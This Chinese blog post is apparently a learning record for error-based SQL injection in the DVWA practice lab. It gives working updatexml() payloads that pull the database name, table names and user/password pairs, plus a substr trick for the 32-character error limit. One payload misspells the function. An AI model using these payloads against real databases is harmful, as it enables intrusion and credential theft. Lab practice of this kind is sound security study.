当前位置:网站首页>DVWA[SQL-Injection]报错注入学习记录
DVWA[SQL-Injection]报错注入学习记录
2022-07-21 05:07:00 【narukuuuu】
还是以sql-injection为例
爆个库:
输入查询语句:
1‘ and updataxml(1,concat(0x7e,database()),1)-- -
得到数据库库名为dvwa
爆个表名:
-1' and updatexml(1, concat( 0x7e, ( select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),0x7e),1)-- -
-1' and updatexml(1, concat( 0x7e,(select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),0x7e),1)-- -
接下来还是爆users表里面的user和password字段。在使用updatexml()这个函数的时候有需要注意的地方,具体参考:传送门
输入查询语句:
-1' and updatexml(1,concat(0x7e,substr((select concat(user,'|',password) from dvwa.users limit 0,1),1,31),0x7e),1)-- -
因为updatexml只支持32位的报错,因此最好一行一行地使用 concat limit 与substr 逐个爆破,调一下参数就行
联合一下前面的,就可以得到user和password
边栏推荐
- 自定义获取请求参数类 GET POST
- vant toast 内容一直被第一次触发的覆盖
- Differences and usage scenarios between usememo and usecallback
- 使用nodemon工具使Nodejs服务器自动重启
- JWT实现TP5用户登陆功能
- The most common throttling scenario is the pull-down refresh and pull-up load of uniapp
- TP5对接免签FM支付接口
- php截取得到指定字符串之前与之前后的内容
- 17. [application of setw() function]
- 鼠标禁用样式(cursor: not-allowed)无效和鼠标禁用事件(pointer-events: none)冲突
猜你喜欢
QML implements CSDN search box with irregular rounded corners
24. [judge whether it is an integer with bytes]
Custom MVC framework implementation
Flutter报错总结:There are multiple heroes that share the same tag within a subtree.
OpenFoam小技巧
17. [application of setw() function]
Visual studio third party library addition -- eigen
How to share files over IP
thinkphp5.1 利用 PHPMailer 发送邮件
Difference between controlled and uncontrolled components
随机推荐
自定義MVC框架實現
vant toast 内容一直被第一次触发的覆盖
专栏开设的意义
The C language header stdio cannot be found after Xcode upgrade H solution
nodejs使用POST方法接收js对象并写入json文件
Swift navigation bar color device and remove the lower edge line
大文件下载 解决方案
oh-my-zsh 效率插件
OpenFOAM编程:VOF法与多孔介质模型相结合
thinkphp6使用EasyWeChat5.x公众号开发(二)
边界层积分方程与马兰格尼效应
PHP数组根据关联数组的键进行降序排列
Crud of MySQL
微信小程序制作一个老虎机抽奖动画
ecshop漏洞复现
利用vscode插件 coderunner 编译运行 typescript,当输出有中文的时候,出现乱码
window. history. back(); The problem that layer cannot be closed after returning
18. [precautions for pointer pointing to two-dimensional array]
swift 导航栏颜色设备和去掉下边缘线
Lazy loading of pictures